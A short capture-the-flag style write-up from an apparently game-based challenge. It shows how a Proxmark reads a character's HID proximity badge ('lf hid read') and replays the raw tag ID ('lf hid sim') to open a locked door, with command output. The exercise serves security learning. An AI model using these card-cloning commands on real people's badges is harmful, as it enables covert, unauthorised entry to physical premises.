Objective 5: Open HID Lock

With the proxmark in hand, I wander around looking for a HID card to copy. To use it, I'm met with the Proxmark CLI that looks like this:

Now, if I wanted to read a HID card that was nearby, I could run lf hid read near an unsuspecting user with a readable card on their person (or...elf?). Wandering around the castle, I eventually come across a hit from Shinny Upatree!

[magicdust] pm3 --> lf hid read

#db# TAG ID: 2006e22f13 (6025) - Format Len: 26 bit - FC: 113 - Card: 6025

I have a tag. With this tag ID, I can replay this attack to get into the workshop:

[magicdust] pm3 --> lf hid sim -r 2006e22f13
[=] Simulating HID tag using raw 2006e22f13
[=] Stopping simulation after 10 seconds.


[=] Done

And I'm in!

Accessing this door brings me to a darkened mysterious room. I am a bit hesitant to enter yet, and make a mental note of this room to come back to later. There are mysteries to solve!
